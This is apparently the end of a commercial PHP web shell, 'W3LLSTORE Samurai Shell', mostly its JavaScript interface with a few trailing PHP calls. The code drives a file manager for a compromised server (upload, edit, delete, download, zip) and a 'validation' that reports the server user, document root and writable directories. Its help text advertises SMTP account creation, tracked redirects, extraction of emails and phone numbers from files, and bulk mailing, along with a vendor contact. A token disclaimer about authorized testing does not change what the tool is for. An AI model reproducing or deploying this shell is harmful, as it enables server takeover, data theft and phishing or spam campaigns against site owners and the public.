`🔍 Validation Details:\n`;                        output += `&bull; Email: ${email}\n`;                        output += `&bull; Validation ID: ${id}\n`;                        output += `&bull; Timestamp: ${new Date(response.timestamp * 1000).toLocaleString()}\n`;                        output += `&bull; Validation Hash: ${response.validation_hash}\n\n`;                                               output += `🖥️ Server Information:\n`;                        const info = response.info.info;                        output += `&bull; PHP Version: ${info.php_version}\n`;                        output += `&bull; Server Software: ${info.server_software}\n`;                        output += `&bull; Current User: ${info.current_user}\n`;                        output += `&bull; Server Name: ${info.server_name}\n`;                        output += `&bull; Document Root: ${info.document_root}\n`;                        output += `&bull; Temp Directory: ${info.temp_dir}\n\n`;                                               output += `🔧 Capabilities:\n`;                        const caps = response.server_info;                        output += `&bull; CURL Enabled: ${caps.curl_enabled ? &#039;✅&#039; : &#039;❌&#039;}\n`;                        output += `&bull; ZIP Enabled: ${caps.zip_enabled ? &#039;✅&#039; : &#039;❌&#039;}\n`;                        output += `&bull; Mail Enabled: ${caps.mail_enabled ? &#039;✅&#039; : &#039;❌&#039;}\n`;                        output += `&bull; File Upload Enabled: ${caps.file_upload_enabled ? &#039;✅&#039; : &#039;❌&#039;}\n`;                        output += `&bull; Max Upload Size: ${caps.max_upload_size}\n`;                        output += `&bull; Memory Limit: ${caps.memory_limit}\n`;                        output += `&bull; Max Execution Time: ${caps.max_execution_time}\n\n`;                                               output += `📦 ZIP Functionality Test: ${response.zip ? &#039;✅ PASSED&#039; : &#039;❌ FAILED&#039;}\n`;                        output += `📧 Email Delivery Test: ${response.delivery ? &#039;✅ PASSED (Check your email)&#039; : &#039;❌ FAILED&#039;}\n\n`;                                               output += `📁 Writable Directories:\n`;                        info.writable_dirs.forEach(dir =&gt; {                            output += `&bull; ${dir}\n`;                        });                                               outputDiv.textContent = output;                        showNotification(&#039;Validation completed successfully!&#039;, &#039;success&#039;);                    } else {                        outputDiv.textContent = response.message || &#039;Validation failed&#039;;                        showNotification(&#039;Validation failed&#039;, &#039;error&#039;);                    }                                       resultsDiv.style.display = &#039;block&#039;;                })                .catch(error =&gt; {                    hideLoading();                    showNotification(&#039;Network error during validation&#039;, &#039;error&#039;);                });        });        // ==================== FILE MANAGEMENT FUNCTIONS ====================               // Create File        document.getElementById(&#039;create-file-form&#039;).addEventListener(&#039;submit&#039;, function(e) {            e.preventDefault();                       const filename = document.getElementById(&#039;new-filename&#039;).value;            const content = document.getElementById(&#039;new-file-content&#039;).value;                       if (!filename) {                showNotification(&#039;Please enter a filename&#039;, &#039;warning&#039;);                return;            }                       showLoading(&#039;Creating file...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {                action: &#039;file_operation&#039;,                operation: &#039;create_file&#039;,                filename: filename,                content: content            }, function(response) {                if (response.status) {                    showNotification(response.message, &#039;success&#039;);                    hideModal(&#039;create-file-modal&#039;);                    location.reload(); // Refresh to show new file                } else {                    showNotification(response.message, &#039;error&#039;);                }            });        });        // Create Folder        document.getElementById(&#039;create-folder-form&#039;).addEventListener(&#039;submit&#039;, function(e) {            e.preventDefault();                       const foldername = document.getElementById(&#039;new-foldername&#039;).value;                       if (!foldername) {                showNotification(&#039;Please enter a folder name&#039;, &#039;warning&#039;);                return;            }                       showLoading(&#039;Creating folder...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {                action: &#039;file_operation&#039;,                operation: &#039;create_folder&#039;,                foldername: foldername            }, function(response) {                if (response.status) {                    showNotification(response.message, &#039;success&#039;);                    hideModal(&#039;create-folder-modal&#039;);                    location.reload(); // Refresh to show new folder                } else {                    showNotification(response.message, &#039;error&#039;);                }            });        });        // Upload File        document.getElementById(&#039;upload-form&#039;).addEventListener(&#039;submit&#039;, function(e) {            e.preventDefault();                       const fileInput = document.getElementById(&#039;upload-file&#039;);            const file = fileInput.files[0];                       if (!file) {                showNotification(&#039;Please select a file to upload&#039;, &#039;warning&#039;);                return;            }                       const formData = new FormData();            formData.append(&#039;action&#039;, &#039;file_operation&#039;);            formData.append(&#039;operation&#039;, &#039;upload&#039;);            formData.append(&#039;upload_file&#039;, file);                       const xhr = new XMLHttpRequest();                       // Progress tracking            xhr.upload.addEventListener(&#039;progress&#039;, function(e) {                if (e.lengthComputable) {                    const percentComplete = (e.loaded / e.total) * 100;                    document.getElementById(&#039;upload-progress&#039;).style.width = percentComplete + &#039;%&#039;;                    document.getElementById(&#039;upload-text&#039;).textContent = `Uploading... ${Math.round(percentComplete)}%`;                }            });                       xhr.onreadystatechange = function() {                if (xhr.readyState === 4) {                    if (xhr.status === 200) {                        try {                            const response = JSON.parse(xhr.responseText);                            if (response.status) {                                showNotification(response.message, &#039;success&#039;);                                hideModal(&#039;upload-modal&#039;);                                location.reload(); // Refresh to show uploaded file                            } else {                                showNotification(response.message, &#039;error&#039;);                            }                        } catch (e) {                            showNotification(&#039;Invalid server response&#039;, &#039;error&#039;);                        }                    } else {                        showNotification(&#039;Upload failed: Network error&#039;, &#039;error&#039;);                    }                                       // Reset progress                    document.getElementById(&#039;upload-progress&#039;).style.width = &#039;0%&#039;;                    document.getElementById(&#039;upload-text&#039;).textContent = &#039;Ready to upload&#039;;                }            };                       xhr.open(&#039;POST&#039;, &#039;&#039;, true);            xhr.send(formData);        });        // Edit File        function editFile(filepath) {            showLoading(&#039;Loading file content...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {                action: &#039;get_file_content&#039;,                filepath: filepath            }, function(response) {                if (response.status) {                    document.getElementById(&#039;edit-filename&#039;).textContent = response.filename;                    document.getElementById(&#039;edit-file-content&#039;).value = response.content;                    document.getElementById(&#039;edit-filepath&#039;).value = filepath;                    showModal(&#039;edit-file-modal&#039;);                } else {                    showNotification(response.message, &#039;error&#039;);                }            });        }        // Save File        document.getElementById(&#039;edit-file-form&#039;).addEventListener(&#039;submit&#039;, function(e) {            e.preventDefault();                       const filepath = document.getElementById(&#039;edit-filepath&#039;).value;            const content = document.getElementById(&#039;edit-file-content&#039;).value;                       showLoading(&#039;Saving file...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {                action: &#039;file_operation&#039;,                operation: &#039;edit_file&#039;,                filepath: filepath,                content: content            }, function(response) {                if (response.status) {                    showNotification(response.message, &#039;success&#039;);                    hideModal(&#039;edit-file-modal&#039;);                } else {                    showNotification(response.message, &#039;error&#039;);                }            });        });        // Download File        function downloadFile(filepath) {            window.location.href = `?action=file_operation&amp;operation=download&amp;filepath=${encodeURIComponent(filepath)}`;        }        // Delete Item        function deleteItem(filepath, filename) {            if (!confirm(`Are you sure you want to delete &quot;${filename}&quot;?`)) {                return;            }                       showLoading(&#039;Deleting item...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {                action: &#039;file_operation&#039;,                operation: &#039;delete_item&#039;,                filepath: filepath            }, function(response) {                if (response.status) {                    showNotification(response.message, &#039;success&#039;);                    location.reload(); // Refresh to update file list                } else {                    showNotification(response.message, &#039;error&#039;);                }            });        }        // Zip Item        function zipItem(filepath) {            showLoading(&#039;Creating ZIP archive...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {                action: &#039;file_operation&#039;,                operation: &#039;zip_item&#039;,                filepath: filepath            }, function(response) {                if (response.status) {                    showNotification(response.message, &#039;success&#039;);                    location.reload(); // Refresh to show new ZIP file                } else {                    showNotification(response.message, &#039;error&#039;);                }            });        }        // Unzip File        function unzipFile(filepath) {            showLoading(&#039;Extracting ZIP archive...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {                action: &#039;file_operation&#039;,                operation: &#039;unzip_file&#039;,                filepath: filepath            }, function(response) {                if (response.status) {                    showNotification(response.message, &#039;success&#039;);                    location.reload(); // Refresh to show extracted files                } else {                    showNotification(response.message, &#039;error&#039;);                }            });        }        // ==================== KEYBOARD SHORTCUTS ====================        document.addEventListener(&#039;keydown&#039;, function(e) {            // Ctrl/Cmd + S to save file in edit modal            if ((e.ctrlKey || e.metaKey) &amp;&amp; e.key === &#039;s&#039;) {                const editModal = document.getElementById(&#039;edit-file-modal&#039;);                if (editModal.classList.contains(&#039;active&#039;)) {                    e.preventDefault();                    document.getElementById(&#039;edit-file-form&#039;).dispatchEvent(new Event(&#039;submit&#039;));                }            }                       // Escape to close modals            if (e.key === &#039;Escape&#039;) {                const activeModal = document.querySelector(&#039;.modal.active&#039;);                if (activeModal) {                    hideModal(activeModal.id);                }            }                       // Ctrl/Cmd + U for upload (when in file manager)            if ((e.ctrlKey || e.metaKey) &amp;&amp; e.key === &#039;u&#039; &amp;&amp; currentTab === &#039;file-manager&#039;) {                e.preventDefault();                showModal(&#039;upload-modal&#039;);            }                       // Ctrl/Cmd + N for new file (when in file manager)            if ((e.ctrlKey || e.metaKey) &amp;&amp; e.key === &#039;n&#039; &amp;&amp; currentTab === &#039;file-manager&#039;) {                e.preventDefault();                showModal(&#039;create-file-modal&#039;);            }        });        // ==================== AUTO-REFRESH FUNCTIONALITY ====================        let autoRefreshInterval;               function startAutoRefresh() {            if (currentTab === &#039;redirect-creator&#039; &amp;&amp; currentRedirectId) {                autoRefreshInterval = setInterval(() =&gt; {                    showRedirectStats();                }, 30000); // Refresh every 30 seconds            }        }               function stopAutoRefresh() {            if (autoRefreshInterval) {                clearInterval(autoRefreshInterval);                autoRefreshInterval = null;            }        }        // ==================== DRAG AND DROP UPLOAD ====================        function initDragAndDrop() {            const dropZone = document.body;                       dropZone.addEventListener(&#039;dragover&#039;, function(e) {                e.preventDefault();                e.dataTransfer.dropEffect = &#039;copy&#039;;                dropZone.style.backgroundColor = &#039;rgba(0, 212, 255, 0.1)&#039;;            });                       dropZone.addEventListener(&#039;dragleave&#039;, function(e) {                if (e.target === dropZone) {                    dropZone.style.backgroundColor = &#039;&#039;;                }            });                       dropZone.addEventListener(&#039;drop&#039;, function(e) {                e.preventDefault();                dropZone.style.backgroundColor = &#039;&#039;;                               if (currentTab !== &#039;file-manager&#039;) {                    showNotification(&#039;Switch to File Manager to upload files&#039;, &#039;warning&#039;);                    return;                }                               const files = e.dataTransfer.files;                if (files.length &gt; 0) {                    const file = files[0];                    document.getElementById(&#039;upload-file&#039;).files = files;                    showModal(&#039;upload-modal&#039;);                    showNotification(`Ready to upload: ${file.name}`, &#039;info&#039;);                }            });        }        // ==================== SEARCH FUNCTIONALITY ====================        function initSearch() {            const searchInput = document.createElement(&#039;input&#039;);            searchInput.type = &#039;text&#039;;            searchInput.placeholder = &#039;Search files...&#039;;            searchInput.className = &#039;form-control&#039;;            searchInput.style.marginBottom = &#039;20px&#039;;            searchInput.id = &#039;file-search&#039;;                       const fileManager = document.getElementById(&#039;file-manager&#039;);            const fileBrowser = fileManager.querySelector(&#039;.file-browser&#039;);            fileBrowser.insertBefore(searchInput, fileBrowser.querySelector(&#039;.file-table-container&#039;));                       searchInput.addEventListener(&#039;input&#039;, function() {                const searchTerm = this.value.toLowerCase();                const rows = document.querySelectorAll(&#039;.file-table tbody tr&#039;);                               rows.forEach(row =&gt; {                    const fileName = row.querySelector(&#039;.file-name span:last-child&#039;);                    if (fileName) {                        const text = fileName.textContent.toLowerCase();                        row.style.display = text.includes(searchTerm) ? &#039;&#039; : &#039;none&#039;;                    }                });            });        }        // ==================== THEME MANAGEMENT ====================        function initThemeToggle() {            const themeToggle = document.createElement(&#039;button&#039;);            themeToggle.innerHTML = &#039;🌙&#039;;            themeToggle.className = &#039;btn btn-sm&#039;;            themeToggle.style.position = &#039;fixed&#039;;            themeToggle.style.top = &#039;20px&#039;;            themeToggle.style.right = &#039;20px&#039;;            themeToggle.style.zIndex = &#039;1000&#039;;            themeToggle.title = &#039;Toggle Dark/Light Mode&#039;;                       document.body.appendChild(themeToggle);                       themeToggle.addEventListener(&#039;click&#039;, function() {                document.body.classList.toggle(&#039;light-mode&#039;);                this.innerHTML = document.body.classList.contains(&#039;light-mode&#039;) ? &#039;☀️&#039; : &#039;🌙&#039;;            });        }        // ==================== PERFORMANCE MONITORING ====================        function initPerformanceMonitoring() {            const performanceInfo = document.createElement(&#039;div&#039;);            performanceInfo.style.position = &#039;fixed&#039;;            performanceInfo.style.bottom = &#039;20px&#039;;            performanceInfo.style.left = &#039;20px&#039;;            performanceInfo.style.background = &#039;var(--bg-secondary)&#039;;            performanceInfo.style.border = &#039;1px solid var(--border-color)&#039;;            performanceInfo.style.borderRadius = &#039;8px&#039;;            performanceInfo.style.padding = &#039;10px&#039;;            performanceInfo.style.fontSize = &#039;12px&#039;;            performanceInfo.style.color = &#039;var(--text-muted)&#039;;            performanceInfo.style.zIndex = &#039;999&#039;;            performanceInfo.style.display = &#039;none&#039;;            performanceInfo.id = &#039;performance-info&#039;;                       document.body.appendChild(performanceInfo);                       // Show performance info on Ctrl+Shift+P            document.addEventListener(&#039;keydown&#039;, function(e) {                if (e.ctrlKey &amp;&amp; e.shiftKey &amp;&amp; e.key === &#039;P&#039;) {                    e.preventDefault();                    const info = document.getElementById(&#039;performance-info&#039;);                    if (info.style.display === &#039;none&#039;) {                        updatePerformanceInfo();                        info.style.display = &#039;block&#039;;                    } else {                        info.style.display = &#039;none&#039;;                    }                }            });        }               function updatePerformanceInfo() {            const info = document.getElementById(&#039;performance-info&#039;);            if (info &amp;&amp; info.style.display !== &#039;none&#039;) {                const memory = performance.memory || {};                const timing = performance.timing || {};                               let html = &#039;&lt;strong&gt;Performance Info:&lt;/strong&gt;<br>&#039;;                html += `Memory Used: ${formatFileSize(memory.usedJSHeapSize || 0)}<br>`;                html += `Memory Limit: ${formatFileSize(memory.jsHeapSizeLimit || 0)}<br>`;                html += `Page Load: ${timing.loadEventEnd - timing.navigationStart || 0}ms<br>`;                html += `DOM Ready: ${timing.domContentLoadedEventEnd - timing.navigationStart || 0}ms`;                               info.innerHTML = html;            }        }        // ==================== INITIALIZATION ====================        document.addEventListener(&#039;DOMContentLoaded&#039;, function() {            // Initialize all features            initDragAndDrop();            initSearch();            initThemeToggle();            initPerformanceMonitoring();                       // Show welcome message            setTimeout(() =&gt; {                showNotification(&#039;Welcome to W3LLSTORE Samurai Shell! 🎌&#039;, &#039;success&#039;);            }, 1000);                       // Auto-update performance info every 5 seconds            setInterval(updatePerformanceInfo, 5000);                       // Check for updates periodically            setInterval(checkForUpdates, 300000); // Every 5 minutes        });        // ==================== UPDATE CHECKER ====================        function checkForUpdates() {            fetch(&#039;?info=1&#039;)                .then(response =&gt; response.json())                .then(data =&gt; {                    if (data.shell_version &amp;&amp; data.shell_version !== &#039;= SHELL_VERSION &#039;) {                        showNotification(`New version available: ${data.shell_version}`, &#039;info&#039;);                    }                })                .catch(() =&gt; {                    // Silently fail                });        }        // ==================== EXPORT FUNCTIONS ====================        function exportResults(elementId, filename) {            const element = document.getElementById(elementId);            if (!element) return;                       const content = element.textContent;            const blob = new Blob([content], { type: &#039;text/plain&#039; });            const url = URL.createObjectURL(blob);                       const a = document.createElement(&#039;a&#039;);            a.href = url;            a.download = filename || &#039;export.txt&#039;;            document.body.appendChild(a);            a.click();            document.body.removeChild(a);            URL.revokeObjectURL(url);                       showNotification(&#039;Results exported successfully!&#039;, &#039;success&#039;);        }        // ==================== BACKUP FUNCTIONALITY ====================        function createBackup() {            if (!confirm(&#039;Create a backup of current directory?&#039;)) {                return;            }                       showLoading(&#039;Creating backup...&#039;);                       const currentDir = &#039;= addslashes($current_dir) &#039;;            zipItem(currentDir);        }        // ==================== SYSTEM INFORMATION ====================        function showSystemInfo() {            const systemInfo = `W3LLSTORE Samurai Shell v= SHELL_VERSION ===========================================Server Information:&bull; Server IP: = $system_info[&#039;server_ip&#039;] &bull; Client IP: = $system_info[&#039;client_ip&#039;] &bull; PHP Version: = $system_info[&#039;php_version&#039;] &bull; Operating System: = $system_info[&#039;operating_system&#039;] &bull; Current User: = $system_info[&#039;current_user&#039;] &bull; Server Time: = $system_info[&#039;server_time&#039;] &bull; Disk Free Space: = $system_info[&#039;disk_free_space&#039;] &bull; Memory Limit: = $system_info[&#039;memory_limit&#039;] Current Directory: = addslashes($current_dir) Shell Path: = __FILE__ Browser Information:&bull; User Agent: ${navigator.userAgent}&bull; Screen Resolution: ${screen.width}x${screen.height}&bull; Language: ${navigator.language}&bull; Platform: ${navigator.platform}Generated: ${new Date().toLocaleString()}            `.trim();                       const modal = document.createElement(&#039;div&#039;);            modal.className = &#039;modal active&#039;;            modal.innerHTML = `                &lt;div class=&quot;modal-content&quot;&gt;                    &lt;div class=&quot;modal-header&quot;&gt;                        &lt;h3 class=&quot;modal-title&quot;&gt;🖥️ System Information</h3>                        &lt;button class=&quot;modal-close&quot; onclick=&quot;this.closest(&#039;.modal&#039;).remove()&quot;&gt;&amp;times;&lt;/button&gt;                    &lt;/div&gt;                    &lt;pre style=&quot;background: var(--bg-primary); padding: 20px; border-radius: 8px; font-size: 12px; line-height: 1.4; max-height: 400px; overflow-y: auto;&quot;&gt;${systemInfo}&lt;/pre&gt;                    &lt;div style=&quot;margin-top: 20px; display: flex; gap: 10px;&quot;&gt;                        &lt;button class=&quot;btn&quot; onclick=&quot;navigator.clipboard.writeText(\`${systemInfo.replace(/`/g, &#039;\\`&#039;)}\`).then(() =&gt; showNotification(&#039;System info copied!&#039;, &#039;success&#039;))&quot;&gt;📋 Copy&lt;/button&gt;                        &lt;button class=&quot;btn btn-secondary&quot; onclick=&quot;this.closest(&#039;.modal&#039;).remove()&quot;&gt;Close&lt;/button&gt;                    &lt;/div&gt;                &lt;/div&gt;            `;                       document.body.appendChild(modal);        }        // ==================== HELP SYSTEM ====================        function showHelp() {            const helpContent = `W3LLSTORE Samurai Shell - Help Guide===================================🔧 FEATURES:&bull; File Manager: Browse, edit, upload, download files&bull; SMTP Creator: Generate SMTP accounts using exact reference method&bull; Redirect Creator: Create Professional Company style redirects&bull; Contact Extractor: Extract emails and phone numbers from files&bull; Email Marketing: Send bulk emails with SMTP support or direct server send&bull; Shell Validation: Test shell capabilities and email delivery⌨️ KEYBOARD SHORTCUTS:&bull; Ctrl+N: New file (File Manager)&bull; Ctrl+U: Upload file (File Manager)&bull; Ctrl+S: Save file (File Editor)&bull; Escape: Close modal&bull; Ctrl+Shift+P: Toggle performance info🖱️ DRAG &amp; DROP:&bull; Drag files onto the page to upload them🔍 SEARCH:&bull; Use the search box in File Manager to find files quickly📊 STATISTICS:&bull; Redirect files automatically track visitor statistics&bull; View real-time analytics for your redirects🛡️ SECURITY:&bull; All inputs are sanitized and validated&bull; File operations are restricted to safe directories&bull; CSRF protection enabled💡 TIPS:&bull; Use ZIP functionality to compress/extract archives&bull; Email marketing supports HTML content&bull; SMTP creator uses exact reference method for compatibility&bull; Validation system tests all shell capabilitiesFor support: admin@w3llstore.comTelegram: @W3LLSTORE_ADMIN            `.trim();                       const modal = document.createElement(&#039;div&#039;);            modal.className = &#039;modal active&#039;;            modal.innerHTML = `                &lt;div class=&quot;modal-content&quot; style=&quot;max-width: 800px;&quot;&gt;                    &lt;div class=&quot;modal-header&quot;&gt;                        &lt;h3 class=&quot;modal-title&quot;&gt;❓ Help &amp; Documentation</h3>                        &lt;button class=&quot;modal-close&quot; onclick=&quot;this.closest(&#039;.modal&#039;).remove()&quot;&gt;&amp;times;&lt;/button&gt;                    &lt;/div&gt;                    &lt;pre style=&quot;background: var(--bg-primary); padding: 20px; border-radius: 8px; font-size: 13px; line-height: 1.5; max-height: 500px; overflow-y: auto; white-space: pre-wrap;&quot;&gt;${helpContent}&lt;/pre&gt;                    &lt;div style=&quot;margin-top: 20px; text-align: center;&quot;&gt;                        &lt;button class=&quot;btn btn-secondary&quot; onclick=&quot;this.closest(&#039;.modal&#039;).remove()&quot;&gt;Close&lt;/button&gt;                    &lt;/div&gt;                &lt;/div&gt;            `;                       document.body.appendChild(modal);        }        // Add help button to footer        document.addEventListener(&#039;DOMContentLoaded&#039;, function() {            const footerLinks = document.querySelector(&#039;.footer-links&#039;);            if (footerLinks) {                const helpLink = document.createElement(&#039;a&#039;);                helpLink.href = &#039;#&#039;;                helpLink.className = &#039;footer-link&#039;;                helpLink.innerHTML = &#039;❓ Help&#039;;                helpLink.onclick = function(e) {                    e.preventDefault();                    showHelp();                };                footerLinks.appendChild(helpLink);                               const sysInfoLink = document.createElement(&#039;a&#039;);                sysInfoLink.href = &#039;#&#039;;                sysInfoLink.className = &#039;footer-link&#039;;                sysInfoLink.innerHTML = &#039;🖥️ System Info&#039;;                sysInfoLink.onclick = function(e) {                    e.preventDefault();                    showSystemInfo();                };                footerLinks.appendChild(sysInfoLink);            }        });        // ==================== ERROR HANDLING ====================        window.addEventListener(&#039;error&#039;, function(e) {            console.error(&#039;JavaScript Error:&#039;, e.error);            showNotification(&#039;An unexpected error occurred. Check console for details.&#039;, &#039;error&#039;);        });        window.addEventListener(&#039;unhandledrejection&#039;, function(e) {            console.error(&#039;Unhandled Promise Rejection:&#039;, e.reason);            showNotification(&#039;An unexpected error occurred with a promise.&#039;, &#039;error&#039;);        });        // ==================== CLEANUP ON PAGE UNLOAD ====================        window.addEventListener(&#039;beforeunload&#039;, function() {            stopAutoRefresh();        });        // ==================== RESPONSIVE MENU TOGGLE ====================        function initMobileMenu() {            const tabs = document.querySelector(&#039;.tabs&#039;);            if (window.innerWidth &lt;= 768) {                tabs.style.flexDirection = &#039;column&#039;;            }                       window.addEventListener(&#039;resize&#039;, function() {                if (window.innerWidth &lt;= 768) {                    tabs.style.flexDirection = &#039;column&#039;;                } else {                    tabs.style.flexDirection = &#039;row&#039;;                }            });        }        // Initialize mobile menu        document.addEventListener(&#039;DOMContentLoaded&#039;, initMobileMenu);        // ==================== CONSOLE EASTER EGG ====================        console.log(`⚔️ W3LLSTORE Samurai Shell v= SHELL_VERSION ═══════════════════════════════════════════════🎌 Welcome, Digital Samurai!This shell is crafted with Japanese precision and dedication.Like a true samurai&#039;s katana, it&#039;s sharp, reliable, and deadly effective.🔥 Features loaded and ready for battle!Contact: admin@w3llstore.comTelegram: @W3LLSTORE_ADMINWebsite: https://w3llstore.com/For educational and authorized security testing only.Use responsibly, honor the code of the cyber samurai.がんばって！(Ganbatte - Good luck!)        `);    &lt;/script&gt;</body></html>// ==================== CLEANUP ====================// Create update stats file if it doesn&#039;t existcreateUpdateStatsFile();// Log shell accesslogActivity(&#039;Shell Access&#039;, &#039;Main interface loaded&#039;, &#039;info&#039;);// End of file